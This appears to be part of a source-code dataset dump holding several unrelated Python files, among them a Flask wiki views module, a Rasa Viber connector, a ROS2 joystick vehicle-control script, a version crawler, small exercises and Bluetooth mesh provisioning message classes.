version=wiki_page.current_version,\n modified_on=wiki_page.modified_on\n )\n\n (WikiPageIndex\n .update(markdown=form.textArea.data)\n .where(WikiPageIndex.docid==wiki_page.id)\n .execute())\n\n (WikiPage\n .update(\n markdown=form.textArea.data,\n html=html,\n toc=toc,\n current_version=WikiPage.current_version,\n modified_on=datetime.utcnow())\n .where(WikiPage.id==wiki_page.id)\n .execute())\n\n # remove unused WikiReference\n (WikiReference\n .delete()\n .where(WikiReference.referenced.in_(g.wiki_refs))\n .execute())\n\n return redirect(url_for('.page', wiki_page_id=wiki_page.id))\n else:\n flash('Other changes have been made to this '\n 'wiki page since you started editing it.')\n\n return render_template(\n 'wiki/edit.html',\n wiki_page=wiki_page,\n form=form,\n upload_form=upload_form\n )\n\n\n@blueprint.route('/upload/')\ndef upload(wiki_page_id):\n form = UploadForm()\n return render_template(\n 'wiki/upload.html', \n wiki_page_id=wiki_page_id,\n form=form\n )\n\n\n@blueprint.route('/handle-upload', methods=['POST'])\ndef handle_upload():\n form = request.form\n wiki_page_id = int(form.get('wiki_page_id', None))\n upload_from_upload_page = form.get('upload_page', None)\n\n file_markdown, file_html = '', ''\n with db.atomic():\n for i, file in enumerate(request.files.getlist('wiki_file')):\n # create a WikiFile in database and retrieve id\n wiki_file = WikiFile.create(\n name=file.filename,\n mime_type=file.mimetype\n )\n # save uploaded file with WikiFile.id as filename\n file.save(os.path.join(DB_PATH, g.wiki_group, str(wiki_file.id)))\n wiki_file.size = file.tell()\n wiki_file.save()\n\n if 'image' in wiki_file.mime_type:\n file_type = 'image'\n else:\n file_type = 'file'\n file_markdown += '\\n\\n[{}:{}]'.format(file_type, wiki_file.id)\n file_html += '

{}

'.format(render_wiki_file(\n wiki_file.id,\n wiki_file.name,\n file_type,\n tostring=True\n ))\n\n if upload_from_upload_page:\n wiki_page = get_object_or_404(\n WikiPage.select(\n WikiPage.id,\n WikiPage.markdown,\n WikiPage.current_version,\n WikiPage.modified_on),\n WikiPage.id==wiki_page_id\n )\n\n diff = make_patch(xstr(wiki_page.markdown), xstr(wiki_page.markdown)+file_markdown)\n WikiPageVersion.create(\n wiki_page=wiki_page,\n diff=diff,\n version=wiki_page.current_version,\n modified_on=wiki_page.modified_on\n )\n\n (WikiPageIndex\n .update(markdown=wiki_page.markdown+file_markdown)\n .where(WikiPageIndex.docid==wiki_page.id)\n .execute())\n\n (WikiPage\n .update(\n markdown=WikiPage.markdown+file_markdown,\n html=WikiPage.html+file_html,\n current_version=WikiPage.current_version+1,\n modified_on=datetime.utcnow())\n .where(WikiPage.id==wiki_page.id)\n .execute())\n\n return ''\n return file_markdown\n\n\n@blueprint.route('/reference/')\ndef reference(wiki_page_id):\n wiki_page = get_object_or_404(\n WikiPage.select(\n WikiPage.id,\n WikiPage.title),\n WikiPage.id==wiki_page_id\n )\n wiki_referencing_pages = (WikiPage\n .select(WikiPage.id, WikiPage.title)\n .join(WikiReference, on=WikiReference.referencing)\n .where(WikiReference.referenced == wiki_page)\n .execute())\n return render_template(\n 'wiki/reference.html',\n wiki_page=wiki_page,\n wiki_referencing_pages=wiki_referencing_pages\n )\n\n\n@blueprint.route('/rename/', methods=['GET', 'POST'])\ndef rename(wiki_page_id):\n wiki_page = get_object_or_404(\n WikiPage.select(\n WikiPage.id,\n WikiPage.title),\n WikiPage.id==wiki_page_id\n )\n if wiki_page.title == 'Home':\n return redirect(url_for('.home'))\n\n form = RenameForm(new_title=wiki_page.title)\n\n if form.validate_on_submit():\n new_title = form.new_title.data\n if wiki_page.title == new_title:\n flash('The page name is not changed.', 'warning')\n elif WikiPage.select().where(WikiPage.title==new_title).count() > 0:\n flash('The new page title has already been taken.', 'warning')\n else:\n with db.atomic():\n old_markdown = '[[{}]]'.format(wiki_page.title)\n new_markdown = '[[{}]]'.format(new_title)\n\n old_html = render_wiki_page(wiki_page.id, wiki_page.title, tostring=True)\n new_html = render_wiki_page(wiki_page.id, new_title, tostring=True)\n\n # update the markdown of referencing wiki page \n query = (WikiPage\n .select(WikiPage.id, WikiPage.markdown, WikiPage.html)\n .join(WikiReference, on=WikiReference.referencing)\n .where(WikiReference.referenced==wiki_page))\n wiki_referencing_pages = query.execute()\n for ref in wiki_referencing_pages:\n new_markdown_content = ref.markdown.replace(old_markdown, new_markdown)\n (WikiPageIndex\n .update(markdown=new_markdown_content)\n .where(WikiPageIndex.docid==ref.id)\n .execute())\n\n (WikiPage\n .update(\n markdown=new_markdown_content,\n html=ref.html.replace(old_html, new_html))\n .where(WikiPage.id==ref.id)\n .execute())\n\n # update the diff of related wiki page versions\n query = (WikiPageVersion\n .select(WikiPageVersion.id, WikiPageVersion.diff)\n .where(WikiPageVersion.diff.contains(old_markdown)))\n wiki_page_versions = query.execute()\n for pv in wiki_page_versions:\n (WikiPageVersion\n .update(diff=pv.diff.replace(old_markdown, new_markdown))\n .where(WikiPageVersion.id==pv.id)\n .execute())\n\n (WikiPage\n .update(title=new_title)\n .where(WikiPage.id==wiki_page.id)\n .execute())\n\n return redirect(url_for('.page', wiki_page_id=wiki_page.id))\n\n return render_template(\n 'wiki/rename.html',\n wiki_page=wiki_page,\n form=form\n )\n\n\n@blueprint.route('/file/')\ndef file(wiki_file_id):\n fn = request.args.get('filename')\n if not fn:\n wiki_file = get_object_or_404(\n WikiFile.select(WikiFile.id, WikiFile.name),\n WikiFile.id==wiki_file_id\n )\n fn = wiki_file.name\n\n return send_from_directory(\n os.path.join(DB_PATH, g.wiki_group),\n str(wiki_file_id),\n as_attachment=True,\n attachment_filename=fn\n )\n\n\n@blueprint.route('/search', methods=['GET', 'POST'])\ndef search():\n keyword = request.args.get('keyword')\n start_date = request.args.get('start')\n end_date = request.args.get('end')\n current_page_number=request.args.get('page', default=1, type=int)\n number_per_page = 100\n kwargs = dict()\n form = SearchForm(search=keyword, start_date=start_date, end_date=end_date)\n\n if keyword and not keyword.isspace():\n filter = [WikiPageIndex.match(keyword)]\n if start_date:\n temp = datetime.strptime(start_date, '%m/%d/%Y')\n filter.append(WikiPage.modified_on > convert_utc_to_mdt(temp, reverse=True))\n if end_date:\n temp = datetime.strptime(end_date, '%m/%d/%Y')+timedelta(days=1)\n filter.append(WikiPage.modified_on < convert_utc_to_mdt(temp, reverse=True))\n\n query = (WikiPage\n .select(WikiPage.id, WikiPage.title, WikiPage.modified_on)\n .join(\n WikiPageIndex,\n on=(WikiPage.id==WikiPageIndex.docid))\n .where(*filter)\n .order_by(WikiPageIndex.rank(2.0, 1.0), WikiPage.modified_on.desc())\n .paginate(current_page_number, paginate_by=100))\n # TODO: add title-only search\n # query = query.where(WikiPage.title.contains(search_keyword))\n\n get_pagination_kwargs(kwargs, query, current_page_number, number_per_page)\n\n if form.validate_on_submit():\n return redirect(url_for(\n '.search',\n keyword=form.search.data,\n start=form.start_date.data,\n end=form.end_date.data\n ))\n\n return render_template(\n 'wiki/search.html',\n form=form,\n **kwargs\n )\n\n\n# TODO: implement history diff check\n@blueprint.route('/history/')\ndef history(wiki_page_id):\n return ''\n\n\n@blueprint.route('/keypage-edit', methods=['GET', 'POST'])\ndef keypage_edit():\n query = (WikiPage\n .select(WikiPage.id, WikiPage.title)\n .join(\n WikiKeypage,\n on=(WikiKeypage.wiki_page))\n .order_by(WikiKeypage.id))\n wiki_keypages = query.execute()\n keypage_titles = [wiki_keypage.title for wiki_keypage in wiki_keypages]\n form = KeyPageEditForm(textArea='\\n'.join(keypage_titles))\n\n if form.validate_on_submit():\n wiki_pages = list()\n new_titles = form.textArea.data.splitlines()\n for new_title in new_titles:\n wiki_page = (WikiPage\n .select(WikiPage.id, WikiPage.title)\n .where(WikiPage.title==new_title)\n .execute())\n if wiki_page:\n wiki_pages.append((wiki_page[0],))\n\n WikiKeypage.drop_table(safe=True)\n WikiKeypage.create_table(safe=True)\n (WikiKeypage\n .insert_many(wiki_pages, fields=[WikiKeypage.wiki_page])\n .execute())\n\n return redirect(url_for('.home'))\n\n return render_template(\n 'wiki/keypage_edit.html',\n form=form\n )\n\n\n# TODO: enhancement - choose number of changes, sort by arbitrary column\n@blueprint.route('/changes')\ndef changes():\n query = (WikiPage\n .select(WikiPage.id, WikiPage.title, WikiPage.modified_on)\n .order_by(WikiPage.modified_on.desc())\n .limit(50))\n wiki_more_changes = query.execute()\n\n return render_template(\n 'wiki/changes.html',\n wiki_more_changes=wiki_more_changes\n )\n\n# TODO: implement group admin\n@blueprint.route('/admin')\ndef admin():\n return ''\n\n\n@blueprint.route('/all-pages')\ndef all_pages():\n current_page_number=request.args.get('page', default=1, type=int)\n number_per_page = 100\n query = (WikiPage\n .select(WikiPage.id, WikiPage.title, WikiPage.modified_on)\n .order_by(WikiPage.id)\n .paginate(current_page_number, paginate_by=number_per_page))\n\n kwargs = dict()\n get_pagination_kwargs(kwargs, query, current_page_number, number_per_page)\n\n return render_template(\n 'wiki/all_pages.html',\n **kwargs\n )\n\n# TODO: delete wiki pages\n\n\n@blueprint.route('/all-files')\ndef all_files():\n current_page_number=request.args.get('page', default=1, type=int)\n number_per_page = 100\n query = (WikiFile\n .select()\n .order_by(WikiFile.id)\n .paginate(current_page_number, paginate_by=number_per_page))\n\n kwargs = dict()\n get_pagination_kwargs(kwargs, query, current_page_number, number_per_page)\n\n return render_template(\n 'wiki/all_files.html',\n **kwargs\n )\n\n# TODO: delete wiki files\n\n\n@blueprint.route('/markdown')\ndef markdown_instructions():\n return render_template('wiki/markdown.html')\n","sub_path":"pwlite/wiki/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"7909083","text":"from django.shortcuts import render, get_object_or_404\nfrom django.views.generic import CreateView, DeleteView\nfrom .models import Item\n\ndef home(request):\n context = {\n \"items\": Item.objects.all(),\n \"title\": \"Home\"\n }\n return render(request, \"Finder/home.html\", context)\n\nclass CreateItem(CreateView):\n model = Item\n fields = [\"name\"]\n success_url = \"/\"\n \nclass RemoveItem(DeleteView):\n model = Item\n success_url = \"/\"","sub_path":"Discount_Finder/Finder/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"536776632","text":"import json\nimport logging\nimport re\nfrom typing import Any, Awaitable, Callable, Dict, List, Optional, Text\n\nfrom rasa.core.channels.channel import InputChannel, OutputChannel, UserMessage\nfrom rasa.utils.common import raise_warning\nfrom sanic import Blueprint, response\nfrom sanic.request import Request\nfrom sanic.response import HTTPResponse\nfrom viberbot import Api\nfrom viberbot.api.bot_configuration import BotConfiguration\nfrom viberbot.api.messages import TextMessage, PictureMessage\nfrom viberbot.api.viber_requests import ViberMessageRequest\n\nlogger = logging.getLogger(__name__)\n\n\nclass ViberBot(OutputChannel):\n\n @classmethod\n def name(cls) -> Text:\n return \"viber\"\n\n def __init__(self, name : Text, avatar : Text, token : Text, webhook : Text) -> None:\n bot_configuration = BotConfiguration(auth_token=token, name=name, avatar=avatar)\n self.viber = Api(bot_configuration)\n super().__init__()\n\n\n async def send_text_message(\n self, recipient_id: Text, text: Text, **kwargs: Any\n ) -> None:\n print('*'*10, 'send text message')\n for message_part in text.strip().split(\"\\n\\n\"):\n self.viber.send_messages(recipient_id, messages=[TextMessage(text=message_part)])\n\n async def send_image_url(\n self, recipient_id: Text, image: Text, **kwargs: Any\n ) -> None:\n await self.viber.send_messages(recipient_id, messages=[PictureMessage(media=image)])\n\nclass ViberInput(InputChannel):\n \"\"\"Slack input channel implementation. Based on the HTTPInputChannel.\"\"\"\n\n @classmethod\n def name(cls) -> Text:\n return \"viber\"\n\n @classmethod\n def from_credentials(cls, credentials: Optional[Dict[Text, Any]]) -> InputChannel:\n if not credentials:\n cls.raise_missing_credentials_exception()\n\n # pytype: disable=attribute-error\n return cls(\n credentials.get(\"name\"),\n credentials.get(\"avatar\"),\n credentials.get(\"auth_token\"),\n credentials.get(\"webhook\"),\n )\n # pytype: enable=attribute-error\n\n def __init__(\n self,\n name: Text,\n avatar: Optional[Text] = None,\n auth_token: Optional[Text] = None,\n webhook: Optional[Text] = None,\n ) -> None:\n\n self.name_ = name\n self.avatar = avatar\n self.auth_token = auth_token\n self.webhook = webhook\n self.viber = Api(BotConfiguration(self.auth_token, self.name, self.avatar))\n\n\n def blueprint(\n self, on_new_message: Callable[[UserMessage], Awaitable[Any]]\n ) -> Blueprint:\n viber_webhook = Blueprint(\"viber_webhook\", __name__)\n\n @viber_webhook.route(\"/\", methods=[\"GET\"])\n async def health(_: Request) -> HTTPResponse:\n return response.json({\"status\": \"ok\"})\n\n @viber_webhook.route(\"/webhook\", methods=[\"GET\", \"POST\"])\n async def webhook(request: Request) -> HTTPResponse:\n logger.debug(\"received request. post data: {0}\".format(request.body))\n # every viber message is signed, you can verify the signature using this method\n if not self.viber.verify_signature(request.body, request.headers.get('X-Viber-Content-Signature')):\n print('-'*10, 'fail')\n return response.text(\"not validated\")\n\n # this library supplies a simple way to receive a request object\n viber_request = self.viber.parse_request(request.body)\n print('-'*10, viber_request)\n user_message = UserMessage(\n text=viber_request.message.text,\n output_channel=ViberBot(self.name_, self.avatar, self.auth_token, self.webhook),\n sender_id=viber_request.sender.id,\n input_channel=self.name()\n # message_id=viber_request.message.id\n )\n await on_new_message(user_message)\n return response.text(\"success\")\n\n return viber_webhook\n\n","sub_path":"viber.py","file_name":"viber.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554908930","text":"import rclpy\nfrom rclpy.qos import qos_profile_default\nimport os\nfrom geometry_msgs.msg import Twist\nfrom std_msgs.msg import Int16\n\nfrom steamcontroller import SteamController\nimport sys, select, termios, tty\n\nimport threading\n\nsettings = termios.tcgetattr(sys.stdin)\n\n\nmsg = \"\"\"\n2020 ARTIV Ioniq JoyStick Drving Assist by Gwanjun Shin\n---------------------------\nJoystick left pad to Accel or Brake\n\nPressing L/R Trig of Controller while control the car\n\nCruise Function Toggle : 'k'\nSet +0.1km/h () : 'i'\nSet -0.5km/h () : 'm'\n\n\nanything else : emergency Stop\n\nCTRL-C to quit\n\nWARNING! Must operate with driver and more than one assist!\n\n\n\n\n\n\"\"\"\n\njoyBinding = {\n 'accel' : (0),\n 'brake' : (8500),\n 'steer' : (0),\n 'safetyTrig' : (0),\n 'estop' : (0)\n\n}\n\n\nhandle_set = 0\naccelACT = 650\n\nbrakeACT = 8500\nstatus = 0\n\naccelACT_MAX = 1500\nbrakeACT_MAX = 20000\nhandle_set_MAX = 440\n\nglobalAngular = 0\n\ndef getKey():\n\ttty.setraw(sys.stdin.fileno())\n\tselect.select([sys.stdin], [], [], 0)\n\tkey = sys.stdin.read(1)\n\ttermios.tcsetattr(sys.stdin, termios.TCSADRAIN, settings)\n\treturn key\n\n\ndef vels(speed,turn, accel, brake):\n\treturn (f\"currently:\\tpropulsion rate {speed}\\t handle set {turn}\\n \\t\\t aceel : {accel}, brake { brake}\")\n\ndef joyParse(_, callmsg):\n\n Angular_Speed = Int16()\n Angular_Speed.data = 50\n global joyBinding, globalAngular\n\n\n if callmsg.buttons != 134218496:\n if callmsg.buttons == 25166592:\n #Micro Control Mode\n \n accelACT_MAX = 1300\n brakeACT_MAX = 16000\n handle_set_MAX = 380\n Angular_Speed.data = 30\n globalAngular.publish(Angular_Speed)\n\n #print('Micro Control Mode')\n else:\n accelACT_MAX = 1500\n brakeACT_MAX = 20000\n handle_set_MAX = 440\n #print('Normal Control Mode')\n Angular_Speed.data = 90\n globalAngular.publish(Angular_Speed)\n\n if callmsg.lpad_y > 0:\n joyBinding['accel'] = (callmsg.lpad_y/32767) * accelACT_MAX\n else:\n joyBinding['brake'] = (callmsg.lpad_y/32767) * brakeACT_MAX * -1\n\n if callmsg.lpad_y == 0:\n joyBinding['accel'] = 0\n joyBinding['brake'] = 0\n\n \n joyBinding['steer'] = (callmsg.lpad_x/32767) * handle_set_MAX\n if joyBinding['brake'] > 12000 and abs(joyBinding['steer']) < 80:\n joyBinding['steer'] = 0\n\n\n if callmsg.ltrig == 255 and callmsg.rtrig == 255:\n joyBinding['safetyTrig'] = 1\n else:\n joyBinding['safetyTrig'] = 0\n \n \n\n \n \n\ndef joythread():\n sc = SteamController(callback=joyParse)\n sc.run()\n\ndef main(args=None):\n global accelACT, accelACT_MAX, brakeACT, brakeACT_MAX, joyBinding, handle_set, status, globalAngular\n\n rclpy.init()\n node = rclpy.create_node('teleop_twist_keyboard')\n accelPub = node.create_publisher(Int16, '/dbw_cmd/Accel', qos_profile_default)\n brakePub = node.create_publisher(Int16, '/dbw_cmd/Brake', qos_profile_default)\n steerPub = node.create_publisher(Int16, '/dbw_cmd/Steer', qos_profile_default)\n angularPub = node.create_publisher(Int16, '/dbw_cmd/Angular', qos_profile_default)\n\n joystickThread = threading.Thread(target = joythread)\n joystickThread.start()\n\n Angular_Speed = Int16()\n Angular_Speed.data = 90\n angularPub.publish(Angular_Speed)\n \n globalAngular = angularPub\n\n\n just_toggle = 0\n cruise_speed = 0.0\n cruise_mode = 0\n propulsion_rate = ((accelACT/accelACT_MAX)-(brakeACT/brakeACT_MAX))/(2)*100\n\n try:\n print(msg)\n print(vels(propulsion_rate,handle_set, accelACT, brakeACT))\n input(\"Press any key to start\")\n while(1):\n accelACT = accelACT if accelACT <= accelACT_MAX else accelACT_MAX\n brakeACT = brakeACT if brakeACT <= brakeACT_MAX else brakeACT_MAX\n\n if abs(handle_set) >= handle_set_MAX:\n Hsigned = -1 if handle_set < 0 else 1\n handle_set = Hsigned * handle_set_MAX\n\n propulsion_rate = ((accelACT/accelACT_MAX)-(brakeACT/brakeACT_MAX))/(1)*100\n\n\n print('','='*30, sep='')\n if joyBinding['safetyTrig']:\n print(\"Joystick Override Mode!\\n\"*3)\n if just_toggle : \n os.system('play music_marimba_chord.wav &')\n just_toggle = 0\n brakeACT = int(joyBinding['brake'])\n accelACT = int(joyBinding['accel'])\n handle_set = int(joyBinding['steer'])\n\n\n else:\n print(\"BRACE!! EMERGENCY STOP!!!\\n\"*3)\n just_toggle = 1\n if(brakeACT < 8400):\n ###MUST be ON THREAD!!!!\n os.system('''for k in {1..3};\n do\n play -nq -t alsa synth 0.2 sine 544;\n sleep 0.02;\n play -nq -t alsa synth 0.2 sine 544;\n sleep 0.02;\n play -nq -t alsa synth 0.2 sine 544;\n sleep 0.02;\n play -nq -t alsa synth 0.2 sine 544;\n sleep 0.02;\n done &''')\n brakeACT = 14000\n accelACT = 0\n\n print(vels(propulsion_rate,handle_set, accelACT, brakeACT))\n accel = Int16()\n brake = Int16()\n steer = Int16()\n\n accel.data = accelACT\n brake.data = brakeACT\n\n steer.data = handle_set\n \n brakePub.publish(brake)\n steerPub.publish(steer)\n accelPub.publish(accel)\n\n print('='*30)\n\n os.system('cls' if os.name == 'nt' else 'clear')\n \n \n \n except Exception as e:\n raise Exception(e)\n print(e)\n\n finally:\n accel = Int16()\n brake = Int16()\n steer = Int16()\n\n accel.data = 0\n brake.data = 8500\n steer = 0\n\t\n\t\n brakePub.publish(brake)\n accelPub.publish(accel)\n steerPub.publish(steer)\n termios.tcsetattr(sys.stdin, termios.TCSADRAIN, settings)\n\n\nif __name__ == \"__main__\":\n os.system('cls' if os.name == 'nt' else 'clear')\n main()\n","sub_path":"ARTIV_Communication-master/dbw_ioniq/dbw_ioniq_v1_release(Canlib)/JoystickControl/JoystickControl.py","file_name":"JoystickControl.py","file_ext":"py","file_size_in_byte":6249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"359006647","text":"from .WebCrawlerSettings import *\n\n#main variables\nname = \"Citrix Workspace app\"\nurl = \"https://www.citrix.com/fi-fi/downloads/workspace-app/windows/workspace-app-for-windows-latest.html\"\n\n##################################################\n#define main settings\nfind_dllink = False\nfind_dllink_x86 = False\nfind_dllink_x64 = False\n\nfind_checksum = False\nfind_checksum_x86 = False\nfind_checksum_x64 = False\n\nchecksum_type = \"\"\n\nNew_App = False\n#################################\n\ndef crawl_data(url):\n req = Request(url=url, headers=headers)\n page_html = uReq(req).read()\n page_soup = soup(page_html, \"html.parser\")\n\n return page_soup\n\n#######################################\n\ndef crawl_version(data):\n\n versions_list = []\n\n divs = data.findAll(\"div\", {\"class\":\"text section\"})\n\n for div in divs:\n if \"Version:\" in str(div):\n finaldiv = div\n\n ps = finaldiv.findAll(\"p\")\n\n for p in ps:\n if \"Version:\" in p.text:\n final_paragraph = p.text\n\n final_paragraph = final_paragraph.replace(\"Version:\",\"\")\n final_paragraph = final_paragraph.strip()\n final_paragraph = final_paragraph.split(\" \")\n\n version = final_paragraph[0]\n\n versions_list.append(version)\n\n return versions_list\n\n################################################################\n","sub_path":"crawlers/CitrixWorkSpaceApp.py","file_name":"CitrixWorkSpaceApp.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297110312","text":"def order_pair(pair):\n if pair[0] > pair[1]:\n return pair\n else:\n return pair[::-1]\n\ndef get_indices_of_item_weights(weights, length, limit):\n tup = None\n cache = {}\n for i in range(length):\n diff = limit - weights[i]\n if diff in cache:\n tup = order_pair((cache[diff], i))\n break\n cache[weights[i]] = i\n return tup\n","sub_path":"hashtables/ex1/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378690777","text":"def fizzbuzz(a):\n if a[0] in \"1234567890\":\n a = float(a)\n elif a[0].isalpha():\n return str(a)\n\n if a%3 == 0 and a%5 == 0:\n return fb\n elif a%3 == 0 and a%5 != 0:\n return f\n elif a%3 != 0 and a%5 == 0:\n return b\n else:\n return int(a)\n\nf = \"Fizz!\"\nb = \"Buzz!\"\nfb = \"FizzBuzz!\"\nvar1 = input(\"Enter a number :\")\npr1 = (fizzbuzz(var1))\nvar1 = input(\"Enter a number :\")\npr2 = str(str(pr1) + str((fizzbuzz(var1))))\nprint(pr2)\n","sub_path":"Activity sheets/Activity sheet 6/2 fizzbuzz_rework.py","file_name":"2 fizzbuzz_rework.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"481320764","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0004_user_is_staff'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='user',\n name='is_staff',\n field=models.BooleanField(default=False, help_text=b'Designates whether the user can log into this admin site.'),\n ),\n ]\n","sub_path":"app/migrations/0005_auto_20160531_1342.py","file_name":"0005_auto_20160531_1342.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"493590846","text":"import base64\nfrom enum import Enum\nfrom core.buffer import Buffer\nfrom core.link import Link\n\n\nclass Message:\n\n def __init__(self):\n self.header = Buffer()\n self.payload = Buffer()\n\n def to_bytes(self):\n return self.header.buffer + self.payload.buffer\n\n def encode_msg(self, **kwargs):\n pass\n\n def decode_msg(self, buffer: Buffer):\n pass\n\n\nclass BearerOp(Enum):\n LINK_OPEN = 0x00\n LINK_ACK = 0x01\n LINK_CLOSE = 0x02\n\n\nclass GProvMessageType(Enum):\n START = 0\n ACK = 1\n CONTINUATION = 2\n BEARER_CONTROL = 3\n\n\nclass DongleMessage(Message):\n\n def __init__(self):\n super().__init__()\n\n def encode_msg(self, xmit, int_ms, content: bytes):\n header = bytes('@prov {} {}'.format(xmit, int_ms))\n self.header.push_be(header)\n\n content_b64 = base64.encodebytes(content)\n self.payload.push_be(content_b64)\n self.payload.push_u8(ord('\\n'))\n\n def decode_msg(self, buffer: Buffer):\n at_symbol = buffer.pull_u8()\n if at_symbol != b'@':\n raise Exception('Dongle messages must start with @ symbol')\n\n type_ = buffer.pull_be16()\n type_ += buffer.pull_be16()\n if type_ != b'prov':\n raise Exception('This class only handle prov messages')\n\n # space\n _ = buffer.pull_be16()\n\n content_b64 = b''\n byte = buffer.pull_u8()\n while byte != b'\\n':\n content_b64 += byte\n byte = buffer.pull_u8()\n\n return base64.decodebytes(content_b64)\n\n\nclass PbAdvMessage(Message):\n\n def __init__(self):\n super().__init__()\n\n def encode_msg(self, link: Link, content: bytes):\n self.header.push_be32(link.link_id)\n self.header.push_u8(link.transaction_number)\n\n self.payload.push_be(content)\n\n def decode_msg(self, buffer: Buffer):\n link_id = buffer.pull_be32()\n tr_number = buffer.pull_u8()\n content = buffer.buffer\n\n return link_id, tr_number, content\n\n\nclass GProvMessage(Message):\n\n def __init__(self):\n super().__init__()\n\n def encode_msg(self, type_: GProvMessageType, **kwargs):\n if type_ == GProvMessageType.START:\n self.encode_msg_start(kwargs.get('seg_n'), kwargs.get('total_length'), kwargs.get('fcs'),\n kwargs.get('content'))\n elif type_ == GProvMessageType.ACK:\n self.encode_msg_ack()\n elif type_ == GProvMessageType.CONTINUATION:\n self.encode_msg_continuation(kwargs.get('index'), kwargs.get('content'))\n elif type_ == GProvMessageType.BEARER_CONTROL:\n self.encode_msg_bearer_control(kwargs.get('link'), kwargs.get('bearer_op'))\n else:\n raise Exception('Generic Provisioning message unknown')\n\n def encode_msg_start(self, seg_n, total_length, fcs, content: bytes):\n last_seg_number = (seg_n & 0b0011_1111) << 2\n self.header.push_u8(last_seg_number)\n self.header.push_be16(total_length)\n self.header.push_u8(fcs)\n\n self.payload.push_be(content)\n\n def encode_msg_ack(self):\n self.header.push_u8(0b0000_0001)\n\n def encode_msg_continuation(self, index, content: bytes):\n seg_index = ((index & 0b0011_1111) << 2 | 0b0000_0010)\n self.header.push_u8(seg_index)\n\n self.payload.push_be(content)\n\n def encode_msg_bearer_control(self, link: Link, bearer_op: BearerOp):\n op_code = ((bearer_op.value << 2) | 0b0000_0011)\n self.header.push_u8(op_code)\n\n if op_code == BearerOp.LINK_OPEN:\n self.payload.push_be(link.device_uuid.address)\n elif op_code == BearerOp.LINK_CLOSE:\n self.payload.push_be(link.close_reason)\n\n def decode_msg(self, buffer: Buffer):\n type_ = buffer.seek(0) & 0b0000_0011\n type_ = GProvMessageType(type_)\n\n if type_ == GProvMessageType.START:\n func_output = self.decode_msg_start(buffer)\n elif type_ == GProvMessageType.ACK:\n func_output = self.decode_msg_ack(buffer)\n elif type_ == GProvMessageType.CONTINUATION:\n func_output = self.decode_msg_continuation(buffer)\n elif type_ == GProvMessageType.BEARER_CONTROL:\n func_output = self.decode_msg_bearer_control(buffer)\n else:\n raise Exception('Generic Provisioning message unknown')\n\n return type_, func_output\n\n def decode_msg_start(self, buffer: Buffer):\n first_byte = buffer.pull_u8()\n seg_n = (first_byte & 0b1111_1100) >> 2\n\n total_length = buffer.pull_be16()\n fcs = buffer.pull_u8()\n content = buffer.buffer\n\n return seg_n, total_length, fcs, content\n\n def decode_msg_ack(self, buffer: Buffer):\n first_byte = buffer.pull_u8()\n padding = (first_byte & 0b1111_1100) >> 2\n if padding != 0:\n raise Exception('Padding of Ack message is not zero')\n\n def decode_msg_continuation(self, buffer: Buffer):\n first_byte = buffer.pull_u8()\n seg_index = (first_byte & 0b1111_1100) >> 2\n content = buffer.buffer\n\n return seg_index, content\n\n def decode_msg_bearer_control(self, buffer: Buffer):\n first_byte = buffer.pull_u8()\n op_code = (first_byte & 0b1111_1100) >> 2\n op_code = BearerOp(op_code)\n\n if op_code == BearerOp.LINK_OPEN:\n uuid = buffer.buffer\n return op_code, uuid\n elif op_code == BearerOp.LINK_CLOSE:\n close_reason = buffer.pull_u8()\n return op_code, close_reason\n elif op_code == BearerOp.LINK_ACK:\n return op_code\n else:\n raise Exception('Bearer Op code Unknown')\n\n\nclass ProvMessage(Message):\n\n def __init__(self):\n super().__init__()\n\n def encode_msg(self, type_, parameters: bytes):\n first_byte = 0x3F & type_\n self.header.push_u8(first_byte)\n\n self.payload.push_be(parameters)\n\n def decode_msg(self, buffer: Buffer):\n type_ = buffer.pull_u8()\n parameters = buffer.buffer\n\n return type_, parameters\n","sub_path":"core/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":6101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"434267506","text":"'''\r\nCreated on 2016/06/21\r\n\r\n'''\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom sklearn.datasets.samples_generator import make_blobs\r\nfrom astropy.io.votable.converters import Boolean\r\n\r\nclass MyPerceptronClass(object):\r\n '''\r\n classdocs\r\n '''\r\n\r\n def __init__(self):\r\n print(\"initialize : MyPerceptronClass\")\r\n\r\n\r\n def perceptron(self, numSamples=100):\r\n numClaster = feature = 2\r\n bias = 0\r\n weight = np.zeros(feature)# array[feature] filled 0.\r\n R = 0\r\n\r\n #traningData = array of shape [n_samples, n_features]\r\n #traningLabel= array of shape [n_samples]\r\n traningData, traningLabel = make_blobs(n_samples=numSamples, centers=numClaster)\r\n\r\n for data in traningData:\r\n R_new = np.linalg.norm(data)\r\n\r\n if R < R_new:\r\n R = R_new# ベクトルの長さ(ノルム)を計算\r\n\r\n for _ in range(numSamples):\r\n\r\n for index in range(0, numSamples):\r\n forecastLabel = -1 if weight.dot(traningData[index,:]) +bias <= 0 else 1\r\n\r\n if( traningLabel[index] * forecastLabel <= 0):\r\n weight[0] += 0.2 * forecastLabel * traningData[index, 0]\r\n weight[1] += 0.2 * forecastLabel * traningData[index, 1]\r\n R += 0.2 * forecastLabel * R**2\r\n\r\n\r\n 